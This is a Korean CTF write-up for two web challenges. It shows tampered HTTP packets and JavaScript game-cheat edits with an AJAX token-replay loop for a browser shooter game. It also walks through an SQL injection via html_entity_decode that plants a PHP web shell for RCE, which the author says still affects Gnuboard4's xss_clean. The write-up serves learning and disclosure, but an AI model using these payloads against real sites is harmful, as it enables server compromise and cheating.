  • ํ•˜์ง€๋งŒ "ํ‚ฌ์ˆ˜" ์กฐ์ž‘ ๋ฐ "ํ† ํฐ"๊ฐ’ ์กฐ์ž‘์ด ๋˜์–ด ์žˆ์œผ๋ฉด ํƒ์ง€๊ฐ€ ๋˜์–ด ๋ฌธ์ œ๋ฅผ ํ’€ ์ˆ˜ ์—†๋Š” Protect๊ฐ€ ์„ค์ •๋˜์–ด ์žˆ๋‹ค.

POST /check.php HTTP/1.1
Host: d0ngd0nge.xyz:1818
Content-Length: 142
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://d0ngd0nge.xyz:1818
Referer: http://d0ngd0nge.xyz:1818/
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7,ja;q=0.6
Cookie: PHPSESSID=sr6j7mur4mbske04717sbn78k6
Connection: close

kills=20

[kill ์ˆ˜ ์กฐ์ž‘๋œ ํŒจํ‚ท - Request]

HTTP/1.1 200 OK
Date: Sun, 30 Aug 2020 02:22:26 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 146
Connection: close
Content-Type: text/html; charset=UTF-8

alert('๋น„์ •์ƒ ํ–‰์œ„ ํƒ์ง€!! Kills ์ˆ˜๊ฐ€ ์กฐ์ž‘๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ๋ถ€์ •ํ–‰์œ„๋กœ ์ ์ˆ˜๋ฅผ ์ดˆ๊ธฐํ™” ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.');location.reload(true);

[Kill ์ˆ˜ ์กฐ์ž‘๋œ ํŒจํ‚ท - Response]

  • ํ•ด๋‹น ํ‚ฌ ์ˆ˜๋Š” ์ผ์ •ํ•˜๊ฒŒ 15 Kill๋ฅผ ์กฐ์ž‘ํ•˜์—ฌ ์ดˆ๊ณผํ•  ๊ฒฝ์šฐ ์ž๋™์œผ๋กœ ๋ถ€์ •ํ–‰์œ„๋กœ ๊ฐ„์ฃผ๋˜์–ด ๊ทธ๋™์•ˆ ์Œ“์•„์˜จ ํ‚ฌ์„ ์ดˆ๊ธฐํ™”๋œ๋‹ค.

  • ๊ทธ๋Ÿฌ๋ฉด ๋ฐ˜๋Œ€๋กœ ํ† ํฐ๊ฐ’์ด ์กฐ์ž‘๋˜์—ˆ์„ ๋•Œ ์•„๋ž˜์™€ ๊ฐ™์ด ํ† ํฐ ์กฐ์ž‘ ๊ฒฝ๊ณ ์ฐฝ์ด ์ถœ๋ ฅ๋œ๋‹ค.
POST /check.php HTTP/1.1
Host: d0ngd0nge.xyz:1818
Content-Length: 169
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://d0ngd0nge.xyz:1818
Referer: http://d0ngd0nge.xyz:1818/
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7,ja;q=0.6
Cookie: PHPSESSID=sr6j7mur4mbske04717sbn78k6
Connection: close

kills=15&token=79d7ed5a7bfe66da42d96a7ef433ff4c

[Token ์กฐ์ž‘ ํŒจํ‚ท - Request]

  • ํ† ํฐ๊ฐ’ ์กฐ์ž‘

HTTP/1.1 200 OK
Date: Sun, 30 Aug 2020 02:26:12 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 161
Connection: close
Content-Type: text/html; charset=UTF-8

alert('๋น„์ •์ƒ ํ–‰์œ„ ํƒ์ง€!! ํ† ํฐ๊ฐ’์ด ์ผ์น˜ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋น„์ •์ƒ ํ–‰์œ„๋กœ ์ ์ˆ˜๊ฐ€ ํ•ฉ์ณ์ง€์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ƒˆ๋กœ๊ณ ์นจ ํ•ด์ฃผ์‹ญ์‹œ์˜ค');

[Token ์กฐ์ž‘ ํŒจํ‚ท - Response]

์กฐ์ž‘๋œ ํ† ํฐ๊ฐ’ ํ–‰์œ„๋Š” ์œ„์™€ ๊ฐ™์ด ํƒ์ง€๋˜์–ด ๋”์ด์ƒ Kill์ˆ˜๊ฐ€ ์Œ“์ด์ง€ ์•Š๋Š”๋‹ค.

2. Hint & Debug ์ •๋ณด ์ฐพ๊ธฐ

  • ์ด์ œ ๋กœ์ง์— ๋Œ€ํ•ด ํŒŒ์•…ํ•˜์˜€์œผ๋‹ˆ, ๋ฌธ์ œ ํ’€์ด๋ฅผ ์œ„ํ•œ ํžŒํŠธ ์ •๋ณด๋ฅผ ์ฐพ์•„๋ณด๋„๋ก ํ•˜์ž.

  • Chrome Console์„ ํ™•์ธํ•ด๋ณด๋ฉด ์œ„์™€ ๊ฐ™์ด ์†Œ์ˆ˜์  ๊ฐ’์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. (์ถœ๋ ฅ๋œ ๊ฐ’์˜ ๊ฐœ์ˆ˜๋Š” ์‚ฌ์šฉ์ž๋งˆ๋‹ค ๋‹ค๋ฅผ ์ˆ˜ ์žˆ์Œ.) ํ•ด๋‹น ๊ฐ’์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ํŒŒ์•…ํ•˜๊ธฐ ์œ„ํ•ด "bob_game.js" ํŒŒ์ผ์˜ 492๋ฒˆ์งธ ์ค„ ์ฝ”๋“œ๋ฅผ ํ™•์ธํ•ด๋ณด๋„๋ก ํ•˜์ž.

function initGameStart() {
            screen.canvas.width = 1300;
            screen.canvas.height = 900;
            gameSize = {
              width: 1300,
              height: 900
            };
            
            invaderMultiplier = 3;
            initialOffsetInvader = 420;

          invaderAttackRate = 0.98 + "" + Math.floor(Math.random() * 10);
          console.log(invaderAttackRate);
          invaderSpeed = 30;
          spawnDelayCounter = invaderSpawnDelay;
          
          game = new Game();
        }
  • 492๋ฒˆ์งธ ์ฝ”๋“œ๋Š” "console.log(invaderAttackRate);" ์ด๋ฉฐ ํ•ด๋‹น ๊ฐ’์€ ๋ณ€์ˆ˜๋ช…์—์„œ ์•Œ ์ˆ˜ ์žˆ๋“ฏ, ๊ฒŒ์ž„ ๊ณต๊ฒฉ์ž(์™ธ๊ณ„์ธ)์˜ ๊ณต๊ฒฉ ์†๋„์ด๋ฉฐ, ํ•ด๋‹น ๊ฐ’์„ ์กฐ์ž‘ํ•˜์—ฌ ์–ด๋–ค ๋ฐ˜์‘์ด ๋ณด์ด๋Š”์ง€ ํ™•์ธํ•ด ๋ณด์ž.

  • "invaderAttackRate = 9999;" ๋ฐฉ์‹์œผ๋กœ ๊ณต๊ฒฉ์ž(์™ธ๊ณ„์ธ)์ด ๊ณต๊ฒฉ์„ ํ•˜์ง€ ์•Š๋Š” ํ–‰์œ„๋กœ ๋กœ์ง์„ ๊ตฌํ˜„ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ ์•„๋ž˜์™€ ๊ฐ™์ด ๋ฐ˜๋Œ€๋กœ ๊ฐ’์„ ๋‚ฎ์ถ˜๋‹ค๋ฉด ๊ณต๊ฒฉ์ž๋Š” ๋” ๋น ๋ฅด๊ณ  ๋งŽ์ด ๊ณต๊ฒฉ์„ ํ•˜๊ฒŒ ๋œ๋‹ค.

  • "invaderAttackRate = 0.001;" ์ด๊ฑด ๋‹ต์ด ์—†๋‹ค....

์œ„์™€ ๊ฐ™์ด ํžŒํŠธ๋ฅผ ํ†ตํ•˜์—ฌ Javasciprt Debug๋ฅผ ํ†ตํ•˜์—ฌ ๋กœ์ง์„ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ๋Š” ๊ฑธ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. ํ•˜์ง€๋งŒ ๊ณต๊ฒฉ ์†๋„๋กœ ๋ณ€๊ฒฝํ•˜๋Š” ๊ฒƒ ๋ณด๋‹จ "์Šคํ”ผ๋“œ" + "๋ฌด์ " + "๊ณต๊ฒฉ์ˆ˜ ๋ฌดํ•œ"๋ฅผ ๊ฑธ์–ด ๋ฌธ์ œ ํ’€๊ฑฐ๋‚˜ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ๋กœ์ง์„ ํ†ตํ•˜์—ฌ ๊ฒŒ์ž„์„ ์ง„ํ–‰ํ•˜์ง€ ์•Š๊ณ  ํ’€์ด๋ฅผ ์ง„ํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค.

3. ์Šคํ”ผ๋“œ + ๋ฌด์  + ๊ณต๊ฒฉ ์†๋„ ํ•ต ๋งŒ๋“ค๊ธฐ

  • ์ด์ œ ๋กœ์ง์— ๋Œ€ํ•ด ํŒŒ์•…ํ•˜์˜€์œผ๋‹ˆ, ๋ฌธ์ œ ํ’€์ด๋ฅผ ์œ„ํ•œ ํžŒํŠธ ์ •๋ณด๋ฅผ ์ฐพ์•„๋ณด๋„๋ก ํ•˜์ž.

var Player = function() {
          this.active = true;
          this.size = {
            width: 0.1,  //232๋ฒˆ์งธ 16 -> 0.1 ์œผ๋กœ ์ˆ˜์ • (๊ฒŒ์ž„ ํ”Œ๋ ˆ์ด์–ด ์•ˆ๋ณด์ด๊ฒŒ ์„ค์ •)
            height: 0.1  //233๋ฒˆ์งธ 8  -> 0.1 ์œผ๋กœ ์ˆ˜์ • (๊ฒŒ์ž„ ํ”Œ๋ ˆ์ด์–ด ์•ˆ๋ณด์ด๊ฒŒ ์„ค์ •)
          };

// 259๋ฒˆ์งธ ๋ผ์ธ
if (this.keyboarder.isDown(this.keyboarder.KEYS.LEFT) && this.coordinates.x > 0) this.coordinates.x -= 30; // 2 -> 30์œผ๋กœ ์ˆ˜์ • (์Šคํ”ผ๋“œ ํ•ต)

// 260๋ฒˆ์งธ ๋ผ์ธ
else if (this.keyboarder.isDown(this.keyboarder.KEYS.RIGHT) && this.coordinates.x < gameSize.width - this.size.width) this.coordinates.x += 30; // 2 -> 30์œผ๋กœ ์ˆ˜์ • (์Šคํ”ผ๋“œ ํ•ต)


if (this.keyboarder.isDown(this.keyboarder.KEYS.Space)) {
            // 263๋ฒˆ์งธ  this.shooterHeat += 1; ์ฃผ์„ ์ฒ˜๋ฆฌ (ํ”Œ๋ ˆ์ด์–ด ๊ณต๊ฒฉ ์†๋„ ๋ฌด์ œํ•œ)

destroy: function() {
            //291๋ฒˆ์งธ this.active = false;  ์ฃผ์„ ์ฒ˜๋ฆฌ (ํ”Œ๋ ˆ์ด์–ด ๋ฌด์ )
            //292๋ฒˆ์งธ game.lost = true;     ์ฃผ์„ ์ฒ˜๋ฆฌ (ํ”Œ๋ ˆ์ด์–ด ๋ฌด์  - ๊ฒŒ์ž„ ์ข…๋ฃŒ ์•ˆ๋˜๊ฒŒ)
          }


var Projectile = function(coordinates, velocity) {
          this.active = true;
          this.coordinates = coordinates;
          this.size = {
            width: 300, //303๋ฒˆ์งธ ์ค„  3 -> 300์œผ๋กœ ๋ณ€๊ฒฝ ์ˆ˜์ • (ํ”Œ๋ ˆ์ด์–ด ๊ณต๊ฒฉ ํฌ๊ธฐ ๋ณ€๊ฒฝ)
            height: 3
          };
          this.velocity = velocity;
        };

//491๋ฒˆ์งธ invaderAttackRate = 0.98 + "" + Math.floor(Math.random() * 10); ์ฃผ์„ ์ฒ˜๋ฆฌ (๊ณต๊ฒฉ์ž ์™ธ๊ณ„์ธ์ด ๊ณต๊ฒฉ ๋ชปํ•˜๋„๋ก ์ˆ˜์ •)
  • ์œ„์™€ ๊ฐ™์ด Javascript๋ฅผ ๋ณ€๊ฒฝํ•˜์—ฌ ํ”Œ๋ ˆ์ด๋ฅผ ํ•  ๊ฒฝ์šฐ ์•„๋ž˜์™€ ๊ฐ™์ด ์‹คํ–‰๋œ๋‹ค.

  • ๊ฒŒ์ž„ํ•ต ์™„์„ฑํ•˜์—ฌ ํ”Œ๋ž˜๊ทธ ํš๋“!
  • ๋ฌผ๋ก  ์œ„ ์™€ ๊ฐ™์ด Javascript ๊ฒŒ์ž„ ํ•ต์„ ๋งŒ๋“ค์–ด ํ”Œ๋ ˆ์ดํ•˜์—ฌ ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, ๊ฒŒ์ž„ ๋กœ์ง์„ ํŒŒ์•…ํ•˜์—ฌ Javascript๋ฅผ ์ฝ”๋”ฉํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ํ”Œ๋ ˆ์ด ๋Œ€์‹  ๋ฐ˜๋ณต๋ฌธ์œผ๋กœ ์•„๋ž˜์™€ ๊ฐ™์ด ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

4. Javascript Coding๋ฅผ ํ†ตํ•˜์—ฌ ํ”Œ๋ž˜๊ทธ ํš๋“ํ•˜๊ธฐ

  • ์ด๋ฒˆ์—๋Š” ๊ฒŒ์ž„ ํ•ต์œผ๋กœ ๋ฌธ์ œํ’€์ด ๋Œ€์‹  Javascript ์ฝ”๋”ฉ์„ ํ†ตํ•˜์—ฌ ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ ํ•˜์ž.
$.ajaxSetup({async: false});  

var url = "check.php";
var data = {kills: 15, token: "start"};
token = 1;

$.post(url, data, function(response) {
    token = response;
    
});


for(var i = 0;  i <= 35;  i++) {
    var data = {kills: 15, token: token};

    
    $.post(url, data, function(response) {
        token = response;
    });
};

var data = {check: "clear"};
$.post(url, data, function(response) {
    eval(response);
});
  • Game ๋กœ์ง์„ ํŒŒ์•…ํ–ˆ๋‹ค๋ฉด ์œ„์™€ ๊ฐ™์ด Javascript Code์˜ Ajax๋ฅผ ํ†ตํ•˜์—ฌ ๋ฌธ์ œ๋ฅผ ํ’€ ์ˆ˜ ์žˆ๋‹ค. ๋กœ์ง์˜ ์›๋ฆฌ๋Š” Kills์ˆ˜๊ฐ€ 15๋ฅผ ์ดˆ๊ณผํ•  ์ˆ˜ ์—†์œผ๋ฏ€๋กœ, ๋จผ์ € Token๊ฐ’์— "start"๋ฅผ ๋ณด๋‚ด์–ด ๋‘ ๋ฒˆ์งธ ์ดํ›„๋ถ€ํ„ฐ ์‘๋‹ต๋˜์–ด ์˜จ ํ† ํฐ์„ ๊ฐ€์ง€๊ณ  ๋‹ค์‹œ 35๋ฒˆ ๋ฐ˜๋ณต์„ ํ†ตํ•˜์—ฌ ํ† ํฐ์„ ์ „์†กํ•˜๊ณ , ๋งˆ์ง€๋ง‰์œผ๋กœ ๊ณต๊ฒฉ์ž(์™ธ๊ณ„์ธ)๋ฅผ ์ „๋ถ€ ๋ฌผ๋ฆฌ์ณค๋‹ค๋Š” "check=clear" ๊ฐ’์„ ์ „์†กํ•˜์—ฌ ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•˜๋Š” ๋กœ์ง์ด๋‹ค.

  • Flag is bob{b0b_!s_fun_g@me_r3tr0}

  • ๋Œ€ํšŒ ๋๋‚˜๊ณ  Access.log๋ฅผ ํ™•์ธํ•ด๋ณธ ๊ฒฐ๊ณผ... "105961" Line์ด ์Œ“์˜€๋„ค์š”. 3์ผ ๋งŒ์— 10๋งŒ ์ค„์ด ์Œ“์ธ ๊ฑธ ๋ณด๋‹ˆ ์˜ค๊ธฐ๋กœ ๊ฒŒ์ž„ ํ”Œ๋ ˆ์ด์–ด ํ•˜์—ฌ ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•œ ๋ถ„๋„ ๊ณ„์‹ค ๊ฑฐ๋ผ ์˜ˆ์ƒ๋ฉ๋‹ˆ๋‹ค... (์กด๊ฒฝ์Šค๋Ÿฝ์Šต๋‹ˆ๋‹ค...)

babyweb


๐Ÿ’ก
/readFlag | RCE

๋ฌธ์ œ ์„ค๋ช…์— /readFlag ๋ผ๊ณ  ๋˜์–ด ์žˆ์œผ๋ฏ€๋กœ RCE๋ฅผ ํ•ด์•ผํ•˜๋Š” ๋ฌธ์ œ์ด๋‹ค.

๋ฌธ์ œ ํŽ˜์ด์ง€์— ์ ‘์†ํ•˜๋ฉด XML ์‚ฌ์šฉํ•˜๋Š” ํŽ˜์ด์ง€๊ฐ€ ๋‚˜์˜จ๋‹ค.

XXE ๊ณต๊ฒฉ์„ ํ†ตํ•ด ์†Œ์Šค ํŽ˜์ด์ง€๋ฅผ ํ•˜๋‚˜ํ•˜๋‚˜์”ฉ ๋ณธ๋‹ค.

๋จผ์ € "join.php"๋ฅผ ๋ณด๋ฉด htmlentities๋ฅผ ํ†ตํ•ด ๋ฌด์–ธ๊ฐ€๋ฅผ ๋ง‰์œผ๋ คํ•˜๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

<?php
	$id = mysqli_real_escape_string($dbc, htmlentities($_POST['id'], ENT_QUOTES, "UTF-8"));
	$pw = hash('sha256', $_POST['pw']);
	$nick = mysqli_real_escape_string($dbc, htmlentities($_POST['nick'], ENT_QUOTES, "UTF-8"));

	$query = "INSERT INTO users VALUES (NULL,'{$id}', '{$pw}', '{$nick}', '');";

	$result = mysqli_query($dbc, $query);

	if($result)
		echo '<script>location.href="./";</script>';
	else
		echo '<script>alert("Error"); history.go(-1);</script>';

๊ทธ๋ฆฌ๊ณ  login.php๋ฅผ ๋ณด๋ฉด $_SESSION ๋ณ€์ˆ˜์— ๋กœ๊ทธ์ธํ•œ ์•„์ด๋””์™€ ๋‹‰๋„ค์ž„์„ ๋„ฃ๋Š”๋‹ค.

<?php
	$id = mysqli_real_escape_string($dbc, $_POST['id']);
	$pw = hash('sha256', $_POST['pw']);

	$query = "SELECT * FROM users WHERE userid='{$id}' AND password='{$pw}'";

	$result = mysqli_query($dbc, $query);
	$row = mysqli_fetch_array($result);

	if($id===$row['userid'] && $pw===$row['password']){

		$_SESSION['nickname'] = $row['nickname'];
		$_SESSION['userid'] = $row['userid'];
		echo '<script>location.href="./";</script>';
	}else
		echo '<script>alert("Error"); history.go(-1);</script>';

RCE๋ฅผ ์œ„ํ•ด์„œ๋Š” LFI ์ทจ์•ฝ์ ์ด ํ•„์š”ํ•˜๋‹ค. LFI๋ฅผ ํ•˜๊ธฐ ์œ„ํ•ด์„  ํŒŒ์ผ ์—…๋กœ๋“œ ๊ธฐ๋Šฅ์„ ์ด์šฉํ•˜๊ฑฐ๋‚˜ ํŒŒ์ผ์— ์›ํ•˜๋Š” ๊ฒƒ์„ ์“ธ ์ˆ˜ ์žˆ๋Š” ๊ธฐ๋Šฅ์ด ์žˆ์œผ๋ฉด ๋œ๋‹ค.

ํ•˜์ง€๋งŒ "join.php"์—์„œ htmlentities๋ฅผ ์ด์šฉํ•ด ์„ธ์…˜ ํŒŒ์ผ์— php ํƒœ๊ทธ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†๋„๋ก ์ œํ•œํ•˜์˜€๋‹ค.

๊ทธ ๋‹ค์Œ "getxmldata.php"๋ฅผ ๋ณด๋ฉด mysqli_real_escape_string๋ฅผ ํ†ตํ•ด์„œ SQLI๋ฅผ ๋ง‰์€ ๊ฒƒ ์ฒ˜๋Ÿผ ๋ณด์ด์ง€๋งŒ ์‹ค์ œ๋กœ๋Š” ๋ง‰ํžˆ์ง€ ์•Š์•˜๋‹ค.

<?php

function xss_filter($data) 
{ 
    if(empty($data)) 
        return $data; 
         
    if(is_array($data)) 
    { 
        foreach($data as $key => $value) 
        { 
            $data[$key] = xss_filter($value); 
        } 
         
        return $data; 
    } 
     
    $data = str_replace(array('&amp;','&lt;','&gt;'), array('&amp;amp;','&amp;lt;','&amp;gt;'), $data); 
    $data = preg_replace('/(&#*\\w+)[\\x00-\\x20]+;/', '$1;', $data); 
    $data = preg_replace('/(&#x*[0-9A-F]+);*/i', '$1;', $data); 

    if (function_exists("html_entity_decode"))
    {
        $data = html_entity_decode($data); 
    }
    else
    {
        $trans_tbl = get_html_translation_table(HTML_ENTITIES);
        $trans_tbl = array_flip($trans_tbl);
        $data = strtr($data, $trans_tbl);
    }

    $data = preg_replace('#(<[^>]+?[\\x00-\\x20"\\'])(?:on|xmlns)[^>]*+>#i', '$1>', $data); 
    $data = preg_replace('#([a-z]*)[\\x00-\\x20]*=[\\x00-\\x20]*([`\\'"]*)[\\x00-\\x20]*j[\\x00-\\x20]*a[\\x00-\\x20]*v[\\x00-\\x20]*a[\\x00-\\x20]*s[\\x00-\\x20]*c[\\x00-\\x20]*r[\\x00-\\x20]*i[\\x00-\\x20]*p[\\x00-\\x20]*t[\\x00-\\x20]*:#i', '$1=$2nojavascript...', $data); 
    $data = preg_replace('#([a-z]*)[\\x00-\\x20]*=([\\'"]*)[\\x00-\\x20]*v[\\x00-\\x20]*b[\\x00-\\x20]*s[\\x00-\\x20]*c[\\x00-\\x20]*r[\\x00-\\x20]*i[\\x00-\\x20]*p[\\x00-\\x20]*t[\\x00-\\x20]*:#i', '$1=$2novbscript...', $data); 
    $data = preg_replace('#([a-z]*)[\\x00-\\x20]*=([\\'"]*)[\\x00-\\x20]*-moz-binding[\\x00-\\x20]*:#', '$1=$2nomozbinding...', $data); 
    $data = preg_replace('#(<[^>]+?)style[\\x00-\\x20]*=[\\x00-\\x20]*[`\\'"]*.*?expression[\\x00-\\x20]*\\([^>]*+>#i', '$1>', $data); 
    $data = preg_replace('#(<[^>]+?)style[\\x00-\\x20]*=[\\x00-\\x20]*[`\\'"]*.*?behaviour[\\x00-\\x20]*\\([^>]*+>#i', '$1>', $data); 
    $data = preg_replace('#(<[^>]+?)style[\\x00-\\x20]*=[\\x00-\\x20]*[`\\'"]*.*?s[\\x00-\\x20]*c[\\x00-\\x20]*r[\\x00-\\x20]*i[\\x00-\\x20]*p[\\x00-\\x20]*t[\\x00-\\x20]*:*[^>]*+>#i', '$1>', $data); 
    $data = preg_replace('#</*\\w+:\\w[^>]*+>#i', '', $data); 

    do 
    { 
        $old_data = $data; 
        $data = preg_replace('#</*(?:applet|b(?:ase|gsound|link)|embed|frame(?:set)?|i(?:frame|layer)|l(?:ayer|ink)|meta|object|s(?:cript|tyle)|title|xml)[^>]*+>#i', '', $data); 
    } 
    while ($old_data !== $data); 
     
    return $data; 
}

.......

$xmldata = xss_filter(mysqli_real_escape_string($dbc, $data));
$query = 'update users set xmldata="'.$xmldata.'" where userid="'.mysqli_real_escape_string($dbc, $_SESSION['userid']).'";';
$res = mysqli_query($dbc, $query);

RCE๋ฅผ ์œ„ํ•ด ํ•ด๋‹น ๋ฌธ์ œ์—์„œ ์‚ฌ์šฉํ•ด์•ผํ•  ๊ฒƒ์€ "/var/lib/php/sessions/" ๊ฒฝ๋กœ์— ์žˆ๋Š” PHP ์„ธ์…˜ ํŒŒ์ผ์„ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ ๋ฐ–์—๋Š” ์—†์œผ๋ฏ€๋กœ ๋ด์•ผํ•  ๊ฒƒ์€ nickname๊ณผ userid์— PHP ์ฝ”๋“œ๋ฅผ ๋„ฃ์„ ์ˆ˜ ์žˆ๊ฒŒ SQLI ์ธ์ ์…˜์„ ์ƒ๊ฐํ•  ์ˆ˜ ๋ฐ–์— ์—†๋‹ค.

mysqli_real_escape_string ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด SQLI ์ทจ์•ฝ์ ์„ ๋ง‰์„ ์ˆ˜ ์žˆ์ง€๋งŒ ํ•ด๋‹น ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•œ๋’ค์— xss_filter ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ–ˆ๊ธฐ ๋•Œ๋ฌธ์— SQLI ์ทจ์•ฝ์ ์ด ์ผ์–ด๋‚  ๊ณณ์€ ์—ฌ๊ธฐ๋ฐ–์— ์—†๋‹ค.

$xmldata = xss_filter(mysqli_real_escape_string($dbc, $data));
$query = 'update users set xmldata="'.$xmldata.'" where userid="'.mysqli_real_escape_string($dbc, $_SESSION['userid']).'";';
$res = mysqli_query($dbc, $query);

๊ทธ ํ›„ xss_filter๋ฅผ ์ž์„ธํžˆ ์‚ดํŽด๋ณด๋ฉด ์•„๋ž˜์™€ ๊ฐ™์€ ํ•จ์ˆ˜๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค.

   if (function_exists("html_entity_decode"))
    {
        $data = html_entity_decode($data); 
    }

xss๋ฅผ ๋ฐฉ์–ดํ•˜๊ธฐ ์œ„ํ•ด์„œ html_entity_decodeํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜๋Š”๋ฐ ์—ฌ๊ธฐ์—์„œ ๋ฌธ์ œ๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค.

๋งŒ์•ฝ aaaa"bbbb ๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค๋ฉด ์–ด๋–ป๊ฒŒ ๋ ๊นŒ?

์œ„ ๋ฐ์ดํ„ฐ๊ฐ€ html_entity_decode๋ฅผ ๊ฑฐ์น˜๋ฉด ์•„๋ž˜์™€ ๊ฐ™์ด ๋ณ€ํ™˜๋œ๋‹ค.

aaaa"bbbb

๋”ฐ๋ผ์„œ ์šฐ๋ฆฌ๋Š” quot๋ฌธ์ž๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๊ณ  update ๋ฌธ์—์„œ SQLI๊ฐ€ ๋ฐœ์ƒํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ๋‹ค.

๊ณต๊ฒฉ ์ฝ”๋“œ

aaaa&quot;, nickname=&quot;<?php system($_GET[x]);

๋ณ€ํ™˜๋œ ๊ณต๊ฒฉ ์ฝ”๋“œ

aaaa", nickname="<?php system($_GET[x]);

์‚ฌ์‹ค ์ด๋ ‡๊ฒŒ๋งŒ ๋ณด๋ฉด ์•„์ฃผ ๊ฐ„๋‹จํ•˜๊ณ  ์‰ฌ์šด ๋ฌธ์ œ์ด์ง€๋งŒ, ์ด ๋ฌธ์ œ๋ฅผ ๋‚ด๊ฒŒ๋œ ๋ฐฐ๊ฒฝ์ด ์žˆ๋‹ค.

xss_filter ํ•จ์ˆ˜๋Š” ๊ทธ๋ˆ„๋ณด๋“œ4์—์„œ ์‚ฌ์šฉ๋˜๋Š” "xss_clean" ํ•จ์ˆ˜ ์ด๊ณ  ์ œ๋กœ๋ฐ์ด ์ทจ์•ฝ์ ์ด์˜€๋‹ค. ์ง€๊ธˆ์€ ๊ทธ๋ˆ„๋ณด๋“œ5๊ฐ€ ๋ฐฐํฌ๋˜๊ณ  ์žˆ์–ด์„œ ๋ฌธ์ œ๋Š” ์—†์ง€๋งŒ ์•„์ง๋„ ๊ทธ๋ˆ„๋ณด๋“œ4 ๋ฐฐํฌ๋ณธ ์—์„œ๋Š” ์ œ๋กœ๋ฐ์ด ์ทจ์•ฝ์ ์œผ๋กœ ๋‚จ์•„ ์žˆ๋‹ค.

๊ทธ๋ˆ„๋ณด๋“œ4์—์„œ๋Š” "common.php"์—์„œ mysqli_real_escape_string ๋Œ€์šฉ์œผ๋กœ addslashes ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•ด ์„œ๋ฒ„๋กœ ์˜ค๋Š” ๋ณ€์ˆ˜์— ๋Œ€ํ•ด ์ „์ฒด์ ์œผ๋กœ SQLI๋ฅผ ๋ฐฉ์–ดํ•˜๊ณ  "extract($_GET);", "extract($_POST);"๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์„œ๋ฒ„์— ์˜ค๋Š” ๋ณ€์ˆ˜๋ฅผ ๊ทธ๋Œ€๋กœ PHP ๋ณ€์ˆ˜๋กœ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.

if( !get_magic_quotes_gpc() )
{
	if( is_array($_GET) )
	{
		while( list($k, $v) = each($_GET) )
		{
			if( is_array($_GET[$k]) )
			{
				while( list($k2, $v2) = each($_GET[$k]) )
				{
					$_GET[$k][$k2] = addslashes($v2);
				}
				@reset($_GET[$k]);
			}
			else
			{
				$_GET[$k] = addslashes($v);
			}
		}
		@reset($_GET);
	}

same $_POST ...

same $_COOKIE ...
}

๊ทธ๋ž˜์„œ ์•„๋ž˜์™€ ๊ฐ™์ด ์‚ฌ์šฉํ•˜๋ฉด ์ทจ์•ฝ์ ์„ ๋ฐœ๊ฒฌํ•˜๊ธฐ ํž˜๋“ค๋‹ค. ์–ธ๋œป ๋ณด๋ฉด ๊ฒŒ์‹œํŒ์—์„œ xss๋ฅผ ๋ฐฉ์–ดํ•˜๋Š” ๊ฒƒ ๊ฐ™์ง€๋งŒ xss_clean ํ•จ์ˆ˜ ๋•Œ๋ฌธ์— SQLI ์ทจ์•ฝ์ ์ด ์ผ์–ด๋‚œ๋‹ค.

$query = "update board set title='$title', body='".xss_clean($body)."', '$userid' ...... ";

